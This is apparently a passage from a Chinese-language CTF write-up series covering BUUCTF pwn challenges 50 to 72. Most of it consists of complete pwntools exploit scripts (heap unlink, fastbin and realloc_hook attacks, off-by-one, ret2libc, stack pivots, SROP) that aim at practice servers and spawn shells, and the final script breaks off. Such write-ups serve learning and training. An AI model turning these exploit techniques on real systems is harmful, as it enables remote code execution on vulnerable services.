56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
p = process('./stkof')
#p=remote("node4.buuoj.cn",27135)
context.terminal = ['tmux','splitw','-h']
elf = ELF("./stkof")
libc = ELF("./libc-2.23.so")

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
def alloc(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil("OK")

def fill(idx,content):
p.sendline(str(2))
p.sendline(str(idx))
p.sendline(str(len(content)))
p.sendline(content)
p.recvuntil("OK")

def free(idx):
p.sendline(str(3))
p.sendline(str(idx))

alloc(0x30)
alloc(0x30)
alloc(0x80)
alloc(0x30)

target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10

payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += "a"*0x10

payload += p64(0x30) + p64(0x90)
fill(2,payload)
gdb.attach(p,"b *0x400C85")
free(3)


payload = "a"*0x10
payload += p64(free_got) + p64(puts_got)
fill(2,payload)

payload = p64(puts_plt)
fill(1,payload)

free(2)

puts_addr = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
log.success(hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search("/bin/sh").next()

log.success(hex(libc_base))
log.success(hex(system))
log.success(hex(binsh))

payload = p64(system)
fill(1,payload)

fill(4,'/bin/sh\x00')
free(4)

p.interactive()

50.hitcontraining_bamboobox

no pie,chunk可以修改,size没有限制,存在存储chunk的数组。判断为unlink

创建两个堆就能看到全局数组的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
p = process('./bamboobox')
#p=remote("node4.buuoj.cn",29933)
context.terminal = ['tmux','splitw','-h']
elf = ELF("./bamboobox")
libc = ELF("./libc-2.23.so")
atoi_got = elf.got['atoi']
magic=0x400D49
def show():
p.recvuntil("Your choice:")
p.sendline(str(1))
def add(size,content):
p.recvuntil("Your choice:")
p.sendline(str(2))
p.recvuntil("Please enter the length of item name:")
p.sendline(str(size))
p.recvuntil("Please enter the name of item:")
p.sendline(content)
def change(idx,content):
p.recvuntil("Your choice:")
p.sendline(str(3))
p.recvuntil("Please enter the index of item:")
p.sendline(str(idx))
p.recvuntil("Please enter the length of item name:")
p.sendline(str(len(content)))
p.recvuntil("Please enter the new name of the item:")
p.sendline(content)
def free(idx):
p.recvuntil("Your choice:")
p.sendline(str(4))
p.recvuntil("Please enter the index of item:")
p.sendline(str(idx))
target=0x6020C0+8
add(0x30,"a")
add(0x80,"b")
add(0x30,"a")
fd=target-0x18
bk=target-0x10
payload=p64(0)+p64(0x30)
payload+=p64(fd)+p64(bk)
payload+="a"*0x10
payload+=p64(0x30)+p64(0x90)
change(0, payload)
free(1)
#gdb.attach(p,"b *0x400E42")
payload=p64(0)*3+p64(atoi_got)
change(0, payload)
payload = p64(magic)
change(0,payload)
p.recvuntil("Your choice:")
p.sendline(" ")
p.interactive()

本地能用,但是远程跑不了,应该是远程的路径有问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
#p = process('./bamboobox')
p=remote("node4.buuoj.cn",29933)
context.terminal = ['tmux','splitw','-h']
elf = ELF("./bamboobox")
libc = ELF("./libc-2.23.so")
atoi_got = elf.got['atoi']
magic=0x400D49
def show():
p.recvuntil("Your choice:")
p.sendline(str(1))
def add(size,content):
p.recvuntil("Your choice:")
p.sendline(str(2))
p.recvuntil("Please enter the length of item name:")
p.sendline(str(size))
p.recvuntil("Please enter the name of item:")
p.sendline(content)
def change(idx,content):
p.recvuntil("Your choice:")
p.sendline(str(3))
p.recvuntil("Please enter the index of item:")
p.sendline(str(idx))
p.recvuntil("Please enter the length of item name:")
p.sendline(str(len(content)))
p.recvuntil("Please enter the new name of the item:")
p.sendline(content)
def free(idx):
p.recvuntil("Your choice:")
p.sendline(str(4))
p.recvuntil("Please enter the index of item:")
p.sendline(str(idx))
target=0x6020C0+8
add(0x30,"a")
add(0x80,"b")
add(0x30,"a")
fd=target-0x18
bk=target-0x10
payload=p64(0)+p64(0x30)
payload+=p64(fd)+p64(bk)
payload+="a"*0x10
payload+=p64(0x30)+p64(0x90)
change(0, payload)
free(1)
#gdb.attach(p,"b *0x400E42")
payload=p64(0)*3+p64(atoi_got)
change(0, payload)
show()

atoi_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
log.success(hex(atoi_addr))
libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']

payload = p64(system)
change(0,payload)
p.recvuntil("Your choice:")
p.sendline("/bin/sh\x00")
p.interactive()

但是思路一样,开始我想用free,结果一直出问题,索性用了atoi。show函数会直接把got表给我们打印出来。

51.babyheap_0ctf_2017

http://liul14n.top/2020/03/02/0CTF-2017-babyheap/

unsorted bin只有一个的时候,fd指针和bk指针都会指向main_arena+88的地方,本题没有限制写入的size数量,不过也不存在uaf,因为本题用的不是malloc而是calloc,这个在初始化的时候会把所有的值归0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux','splitw','-h']
context.os='linux'
context.arch='amd64'
elf = ELF("./babyheap_0ctf_2017")
libc = ELF("./libc-2.23.so")
one_gadget=0x4526a
p=remote("node4.buuoj.cn",27333)
def add(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(index,context):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(len(context)))
p.recvuntil("Content: ")
p.sendline(context)
def free(index):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))
def dump(index):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(index))
add(0x10)
add(0x40) # chunk1 必须是0x40 因为后面的fake chunk为0x7f。
add(0x80) # unsorted bin
add(0x10) # 防止chunk合并topchunk
payload=0x10*"a"+p64(0)+p64(0x71)
fill(0,payload)
payload="a"*0x10+p64(0)+p64(0x61)
fill(2,payload)
free(1)
add(0x60)
payload="a"*0x40+p64(0)+p64(0x91)
fill(1,payload)
free(2)
dump(1)
p.recvuntil("Content: \n")
main_arena = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
success("main_arena+88="+hex(main_arena))
malloc_hook=main_arena-0x68
success("malloc_hook:"+hex(malloc_hook))
libc_base=malloc_hook-libc.sym['__malloc_hook']
fake_chunk = malloc_hook - 0x23
free(1)
payload="a"*0x10+p64(0)+p64(0x71)+p64(fake_chunk)+p64(0)
fill(0,payload)
add(0x60)
add(0x60)
payload="a"*3+p64(0)+p64(0)+p64(libc_base+one_gadget)
fill(2,payload)
add(0x30)
p.interactive()

52.randy_sun_2016

这里是+=,所以需要减0x41,也就是A。然后调试过程中会发现dest[41]到dest[44]都需要写入,因为是cmp的dword。

本地可以打通,但是远程无法打通,建议跟着gdb自己调试

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p=remote("node4.buuoj.cn",25832)
context.log_level='debug'
#p=process("./randy_sun_2016")
success("1")
p.recvuntil("DebugInfo: ")
flag = u32(p.recv(4)[::-1])-0x41414141
p.recvuntil("\n")
success("3")
p.sendline(p32(flag))
success("4")
p.interactive()

有时候会因为太小,减掉0x41之后失败,所以多测试几次。远程因为不给回显,直接让你输入,所以会攻击失败。

53.[ZJCTF 2019]EasyHeap

开了pie,有全局数组,直接判断是unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux','splitw','-h']
context.os='linux'
context.arch='amd64'
elf = ELF("./easyheap")
libc = ELF("./libc-2.23.so")
p=remote("node4.buuoj.cn",26093)
#p=process("./easyheap")
target=0x6020E0
system = elf.plt['system']
#由于程序自带system,不需要泄漏puts找基址
free_got = elf.got['free']
def add(size,context):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(context)
def fill(index,context):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Size of Heap : ")
p.sendline(str(len(context)))
p.recvuntil("Content of heap : ")
p.sendline(context)
def free(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
add(0x30,"aaa")
add(0x80,"aaa")
add(0x30,"aaa")
add(0x30,"aaa")
fd=target - 0x18
bk=target - 0x10
payload=p64(0)+p64(0x30)
payload+=p64(fd)+p64(bk)
payload+="a"*0x10
payload+=p64(0x30)+p64(0x90)
fill(0,payload)
free(1)
payload="a"*0x20+p64(free_got)
fill(0,payload)
payload=p64(system)
fill(1,payload)
fill(2,'/bin/sh\x00')
free(2)
p.interactive()

house of spirit,伪造chunk到heaparray附近。-3是为了用7f伪造fastbin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux','splitw','-h']
context.os='linux'
context.arch='amd64'
elf = ELF("./easyheap")
libc = ELF("./libc-2.23.so")
p=remote("node4.buuoj.cn",28312)
#p=process("./easyheap")
target=0x6020E0
system = elf.plt['system']
free_got = elf.got['free']
def add(size,context):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(context)
def fill(index,context):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Size of Heap : ")
p.sendline(str(len(context)))
p.recvuntil("Content of heap : ")
p.sendline(context)
def free(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
add(0x60,"aaa")
add(0x60,"aaa")
add(0x60,"aaa")
free(2)
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
fill(1,payload)
add(0x60,"aaa")
add(0x60,"aaa")
payload = 'a' * 3 + p64(0) * 4 + p64(free_got)
fill(3,payload)
payload = p64(elf.plt['system'])
fill(0,payload)
free(1)
p.interactive()

54.wustctf2020_getshell

呃呃,这啥

1
2
3
4
5
6
from pwn import *
p=remote("node4.buuoj.cn",26620)
ee=0x804851B
payload="a"*(0x18+4)+p32(ee)
p.sendline(payload)
p.interactive()

55.picoctf_2018_buffer overflow 1

呃呃,怎么连着两道

1
2
3
4
5
6
from pwn import*
p=remote('node4.buuoj.cn', 26452)
backdoor=0x80485CB
payload="a"*(0x28+4)+p32(backdoor)
p.sendline(payload)
p.interactive()

56.jarvisoj_test_your_memory

1
2
3
4
5
6
from pwn import*
p=remote('node4.buuoj.cn', 27957)
system=0x8048440
payload="a"*(0x13+4)+p32(system)+p32(0x80487E0)+p32(0x80487E0)
p.sendline(payload)
p.interactive()

57.picoctf_2018_buffer overflow 2

1
2
3
4
5
6
from pwn import*
p=remote('node4.buuoj.cn', 27216)
system=0x080485CB
payload="a"*(0x6c+4)+p32(system)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
p.sendline(payload)
p.interactive()

58.xdctf2015_pwn200

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
from LibcSearcher import *
p=remote('node4.buuoj.cn', 25123)
elf=ELF("./bof")
vuln=0x80484D6
write_plt=elf.plt['write']
write_got=elf.got['write']
payload="a"*(0x6c+4)+p32(write_plt)+p32(vuln)+p32(0)+p32(write_got)+p32(4)
p.recvuntil("Welcome to XDCTF2015~!\n")
p.sendline(payload)
write=u32(p.recvuntil('\xf7')[-4:])
success(hex(write))
libc=LibcSearcher("write",write)
libc_base=write-libc.dump('write')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')
payload="a"*(0x6c+4)+p32(system)+p32(vuln)+p32(binsh)
p.sendline(payload)
p.interactive()

59.bbys_tu_2016

用cyclic计算偏移,直接看ida的不对。

1
2
3
4
5
6
7
from pwn import*
from LibcSearcher import *
p=remote('node4.buuoj.cn', 25773)
hack=0x804856D
payload="a"*(24)+p32(hack)
p.sendline(payload)
p.interactive()

60.mrctf2020_easyoverflow

1
2
3
4
5
from pwn import*
p=remote('node4.buuoj.cn', 27520)
payload="a"*(0x30)+"n0t_r3@11y_f1@g"
p.sendline(payload)
p.interactive()

61.wustctf2020_getshell_2

因为只给了写入两个地址的空间,所以用call system,写plt的话没地方写参数。

image-20220314221150016

1
2
3
4
5
6
7
from pwn import*
from LibcSearcher import *
p=remote('node4.buuoj.cn', 25514)
call_system=0x08048529
payload="a"*(0x18+4)+p32(call_system)+p32(0x08048670)
p.sendline(payload)
p.interactive()

62.babyfengshui_33c3_2016

程序中有alarm,我们可以直接vim程序,修改alarm为isnan就可以patch掉alarm函数。

add函数,分配两个chunk,0x80的存储自己malloc的地址,还有name。name的末尾加\x00

image-20220315202721176

image-20220315203406483

edit函数的判断长度存在漏洞

1
2
3
4
5
6
7
8
# ptr[1]=prev_size
# ptr[2]=size=21
# ptr[3]=v2->s->"string"
# ptr[4]="name"
# s=0x804c160=*ptr[a1]
# v2=0x804c180=ptr[a1]
# s+v3<v2-4
# name_chunk存放着text_chunk的地址

由于这个判断的距离是两个chunk之间的距离,所以我们可以先申请个小的,等和0x80合并之后再申请一个大的,这样0x80和我们申请的chunk之间的距离就会变大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux','splitw','-h']
context.os='linux'
context.arch='i386'
elf = ELF("./babyfengshui_33c3_2016")
libc = ELF("./libc-2.23.so")
p=remote("node4.buuoj.cn",26361)
def add(size,context,len,text):
p.recvuntil("Action: ")
p.sendline("0")
p.recvuntil("size of description: ")
p.sendline(str(size))
p.recvuntil("name: ")
p.sendline(context)
p.recvuntil("text length: ")
p.sendline(str(len))
p.recvuntil("text: ")
p.sendline(text)
def free(index):
p.recvuntil("Action: ")
p.sendline("1")
p.recvuntil("index: ")
p.sendline(str(index))
def show(index):
p.recvuntil("Action: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
def fill(index,len,context):
p.recvuntil("Action: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("text length: ")
p.sendline(str(len))
p.recvuntil("text: ")
p.sendline(context)
add(0x80,"aaaa",0x80,"bbbb")
add(0x80,"aaaa",0x80,"bbbb")
add(0x80,"aaaa",0x80,"/bin/sh\x00")
free(0)
free_got = elf.got["free"]
payload="a"*(0x108+8+0x80+8)+p32(free_got) # 为什么0x108建议自己gdb调
add(0x100,"aaaa",len(payload)+1,payload) # 分配0x100是因为释放了2个0x80(包括name和string)
show(1)
free_addr=u32(p.recvuntil('\xf7')[-4:])
success(hex(free_addr))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump('free')
system=libc_base+libc.dump('system')
fill(1,0x20,p32(system))
free(2)
p.interactive()

63.[ZJCTF 2019]Login

这个c++ pwn属实给我逆麻了,怎么比堆还难逆。

上来就把用户名和密码都给你了

image-20220317104917689

输入用户密码会报错,但是可以发现密码是正确的,然后看反汇编会发现漏洞,有个call rax,因为是rdi传入的,所以去前面找函数的第一个参数是啥。

image-20220317110312827

image-20220317110237833

溯源可以发现是在password_checker函数里的返回值rbp+var_18

image-20220317110503250

image-20220317110523995

我们在read_password函数里可以发现我们写入的密码s和var_18的偏移,直接溢出后门函数即可。

image-20220317110644367

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote("node4.buuoj.cn",27326)
context.terminal = ['tmux','splitw','-h']
backdoor=0x400E88
payload="2jctf_pa5sw0rd"+"\x00"*58+p64(backdoor)
p.recvuntil("Please enter username: ")
p.sendline("admin")
p.recvuntil("Please enter password: ")
p.sendline(payload)
p.interactive()

64.jarvisoj_level1

32位保护全关,久违的ret2shellcode

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote("node4.buuoj.cn",28351)
context.terminal = ['tmux','splitw','-h']
shellcode=asm(shellcraft.sh(),arch='i386',os='linux')
buf=p.recvline()[12:22]
buf=int(buf,16)
payload=shellcode+"a"*(0x88+4-len(shellcode))+p32(buf)
p.sendline(payload)
p.interactive()

buu经典,写完了发现他不给你回显,你不能recvline接收到东西,所以常规溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import *
p = remote("node4.buuoj.cn",28351)
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
write_plt=0x8048370
write_got=0x804A01C
main=0x804847B
payload=(0x88+4)*"a"+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write=u32(p.recv(4))
libc=LibcSearcher("write",write)
libc_base=write-libc.dump('write')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')
p.sendline("a"*(0x88+4)+p32(system)+p32(main)+p32(binsh))
p.interactive()

65.ciscn_2019_n_3

1
2
3
4
v3=records[index]=malloc(12)
*v3=show()
*(v3+4)=free()
*(v3+8)=value // 如果选择整数这里就直接存整数,如果选择字符串,这里就是字符串地址。

没清零,显而易见的uaf

image-20220317152205864

考虑修改records[v0]+4的free地址改成system,records[v0]为binsh。然后使用double free利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux','splitw','-h']
context.os='linux'
context.arch='i386'
elf = ELF("./ciscn_2019_n_3")
libc = ELF("./libc-2.23.so")
p=remote("node4.buuoj.cn",28800)
system=elf.plt['system']
def add(index,type,size,text):
p.recvuntil("CNote > ")
p.sendline("1")
p.recvuntil("Index > ")
p.sendline(str(index))
p.recvuntil("Type > ")
p.sendline(str(type))
if type==2:
p.recvuntil("Length > ")
p.sendline(str(size))
p.recvuntil("Value > ")
p.sendline(text)
else:
p.recvuntil("Value > ")
p.sendline(str(text))
def free(index):
p.recvuntil("CNote > ")
p.sendline("2")
p.recvuntil("Index > ")
p.sendline(str(index))
def show(index):
p.recvuntil("CNote > ")
p.sendline("3")
p.recvuntil("Index > ")
p.sendline(str(index))
add(0,1,0,1) # chunk 1
add(1,1,0,1) # chunk 2
add(2,1,0,1) # chunk 3
free(0)
free(1)
payload="sh\x00\x00"+p32(system)
# 这里不能用/bin/sh,否则system的地址就不在records[v0]+4的位置上了
add(3,2,0xc,payload)
free(0)
p.interactive()

66.ciscn_2019_s_4

栈迁移,和前面的一道题一模一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *
p=remote('node4.buuoj.cn',27496)
elf=ELF('./ciscn_s_4')
system=elf.plt['system']
main=elf.symbols['main']
leave=0x080484b8
# 0x080484b8 : leave ; ret
p.recvuntil("name?")
payload=b'a'*0x27+b'b'
p.send(payload)
p.recvuntil('b')
stack=u32(p.recv(4))
success("stack: " + hex(stack))
esp=stack-0x38
payload=(p32(esp)+p32(system)+p32(main)+p32(esp+0x10)+b'/bin/sh\x00').ljust(0x28,b'\x00')+p32(esp)+p32(leave)
p.send(payload)
p.interactive()

67.hitcontraining_magicheap

无脑unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import*
from LibcSearcher import *
p=remote('node4.buuoj.cn', 27250)
#p=process("./magicheap")
context.terminal = ['tmux','splitw','-h']
elf = ELF("./magicheap")
libc = ELF("./libc-2.23.so")
def add(size,context):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(context)
def fill(index,content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Heap : ")
p.sendline(str(len(content)))
p.recvuntil("Content of heap : ")
p.sendline(content)
def free(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
heaparray=0x6020C0
hack=0x400C50
free_got=elf.got['free']
system=elf.plt['system']
add(0x30,"a")
add(0x80,"a")
add(0x30,"/bin/bash\x00")
fd=heaparray - 0x18
bk=heaparray - 0x10
payload=p64(0)+p64(0x30)
payload+=p64(fd)+p64(bk)
payload+="a"*0x10
payload+=p64(0x30)+p64(0x90)
success("hello")
fill(0, payload)
success("hello2")
free(1)
payload="a"*0x18+p64(free_got)
fill(0,payload)
fill(0,p64(system))
# fill(0,p64(hack)) 后门函数也行
free(2)
p.interactive()

68.gyctf_2020_borrowstack

栈迁移,有几个问题

  1. 不能用system,第二次的payload太长会报错。所以得用one_gadget。
  2. 需要把栈抬高,因为bss段离got表太近了,导致后面调用函数会覆盖got表,导致调用read函数失败,解决办法是栈迁移到高一点的地方。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#-- coding:UTF-8 --
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux','splitw','-h']
p=remote("node4.buuoj.cn",26962)
#p=process("./gyctf_2020_borrowstack")
elf=ELF("./gyctf_2020_borrowstack")
leave=0x400699
bank=0x601080
pop_rdi=0x400703
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=0x400626
payload="a"*0x60+p64(bank)+p64(leave)
p.recvuntil("Welcome to Stack bank,Tell me what you want\n")
p.send(payload)
payload=p64(0x00000000004004c9)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil("Done!You can check and use your borrow stack now!\n")
p.send(payload)
puts_addr = u64(p.recvuntil("\x7f").ljust(8,"\x00"))
success(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump("str_bin_sh")
#payload="a"*0x60+p64(bank)+p64(leave)
payload="a"*0x68+p64(libc_base+0x4526a)
p.recvuntil("Welcome to Stack bank,Tell me what you want\n")
p.send(payload)
#payload=p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)
payload="a"
p.recvuntil("Done!You can check and use your borrow stack now!\n")
p.sendline(payload)
p.interactive()

69.wustctf2020_closed

close(0)关闭标准输入

close(1)关闭标准输出

close(2)关闭标准错误

image-20220319204251277

shell 的内件命令exec执行命令时,不启用新的shell进程。它会把被执行命令替换当前的shell进程,并且将老进程的环境清理掉,而且exec命令后的其它命令将不再执行。

shell中描述符一共有12个:0 代表标准输入;1 代表标准输出;2 错误输出

这题不用写exp,直接执行 exec 1>&0把标准输出重定位到标准输入,标准输入本来指向终端,也就是把标准输出也指向了终端。

image-20220319210552134

70.hitcontraining_heapcreator

create_heap函数会malloc两个堆块,一个存放size和malloc的指针,一个存放value

edit_heap函数存在一字节溢出,off by one漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#-- coding:UTF-8 --
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux','splitw','-h']
context.os='linux'
context.arch='amd64'
elf = ELF("./heapcreator")
libc = ELF("./libc-2.23.so")
free_got=elf.got['free']
p=remote("node4.buuoj.cn",29588)
def add(size,context):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("Heap : ")
p.sendline(str(size))
p.recvuntil("heap:")
p.sendline(context)
def fill(index,context):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("heap : ")
p.sendline(context)
def dump(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
def free(index):
p.recvuntil("choice :")
p.sendline("4")
p.recvuntil("Index :")
p.sendline(str(index))

heaparray=0x6020A0
add(0x18,"aaaa")
add(0x18,"aaaa") # chunk 1 0x40
add(0x18,"aaaa") # chunk 2 0x40
add(0x18,"/bin/sh\x00")
fill(0,"a"*0x18+p8(0x81))
free(1)
size = '\x08'.ljust(8,'\x00')
payload="a"*0x40+size+p64(free_got)
add(0x70,payload)
dump(2)
free_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
libc_base=free_addr-libc.sym['free']
system=libc_base + libc.sym['system']
fill(2,p64(system))
free(3)
p.interactive()

71.roarctf_2019_easy_pwn

image-20220322211723795

image-20220322211711807

漏洞函数,存在off by one。

image-20220322211637600

这题没有直接在chunk里存放指针,所以上题的思路行不通,我们可以使用unsorted bin泄漏地址达成目的。

另外此题不能用malloc_hook,栈条件不满足,需要使用ralloc_hook调整栈空间。

malloc_hook距离realloc_hook只有0x8

https://blog.csdn.net/Maxmalloc/article/details/102535427

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#-- coding:UTF-8 --
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux','splitw','-h']
context.os='linux'
context.arch='amd64'
elf = ELF("./roarctf_2019_easy_pwn")
libc = ELF("./libc-2.23.so")
p=remote("node4.buuoj.cn",29285)
#p=process("./roarctf_2019_easy_pwn")
def add(size):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline(str(size))
def fill(index,size,context):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("content: ")
p.sendline(context)
def free(index):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))
def dump(index):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("index: ")
p.sendline(str(index))
#gdb.attach(p,"b *$rebase(0xB5A)")
add(0x18) # chunk 0
add(0x18) # chunk 1
add(0x80) # chunk 2
add(0x10) # chunk 3

# fastbin attack
add(0x18) # chunk 4
add(0x18) # chunk 5
add(0x60) # chunk 6
add(0x10) # chunk 7
payload="a"*0x18+p8(0x91)
fill(0,0x18+10,payload)
payload="a"*0x68+p64(0x21)
fill(2,len(payload),payload)
free(1)
add(0x80) # chunk 1
payload="a"*0x18+p64(0x91)
fill(1,len(payload),payload)
free(2)
dump(1)
main_arena = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
success("main_arena+88="+hex(main_arena))
malloc_hook=main_arena-0x68
success("malloc_hook:"+hex(malloc_hook))
libc_base=malloc_hook-libc.sym['__malloc_hook']
fake_chunk = malloc_hook - 0x23
one_gadget=libc_base+0x4526a
realloc = libc_base + libc.symbols['__libc_realloc']
add(0x80) # chunk 2
#gdb.attach(p,"b *$rebase(0xB5A)")
payload=0x18*"a"+p8(0x41)
fill(4,0x18+10,payload)
payload=0x18*"a"+p64(0x41)
fill(6,len(payload),payload)
free(5)
add(0x38) # chunk5
payload="a"*0x18+p64(0x71)
fill(5,len(payload),payload)
free(6)
payload="a"*0x18+p64(0x71)+p64(fake_chunk)
fill(5,len(payload),payload)
add(0x60) # chunk 6
add(0x60) # chunk 8
payload="a"*(3+8)+p64(one_gadget)+p64(realloc+16)
# realloc+16存在malloc_hook的地方
# one_gadget存在realloc的地方
# malloc_hook和realloc_hook相邻
fill(8,len(payload),payload)
add(0x30)
p.interactive()

72.ciscn_2019_es_7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 调试脚本
from pwn import *
#p=remote('node4.buuoj.cn',27951)
p=process("ciscn_2019_es_7")
context.terminal = ['tmux','splitw','-h']
context(os='linux',arch='amd64',log_level='debug')
syscall_ret=0x400517
sigreturn=0x4004DA
execve=0x4004E2
read_addr=0x4004F1
payload="/bin/sh\x00"+"\x00"*8+p64(read_addr)
gdb.attach(p,"b *main")
p.sendline(payload)
p.recv(48)
p.interactive()

栈地址偏移差了280

SROP

利用条件:

1.可以栈溢出(控制signal frame)

2.找到syscall地址

3.找到mov rax,oxf(即sigreturn的系统调用号)

4.获得栈上的地址

  • “/bin/sh”
  • Signal Frame
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
p=remote('node4.buuoj.cn',29002)
#p=process("ciscn_2019_es_7")
context.terminal = ['tmux','splitw','-h']
context(os='linux',arch='amd64',log_level='debug')
syscall_ret=0x400517
sigreturn=0x4004DA
execve=0x4004E2
read_addr=0x4004F1
payload="/bin/sh\x00"+"\x00"*8+p64(read_addr)
p.sendline(payload)
p.recv(32)
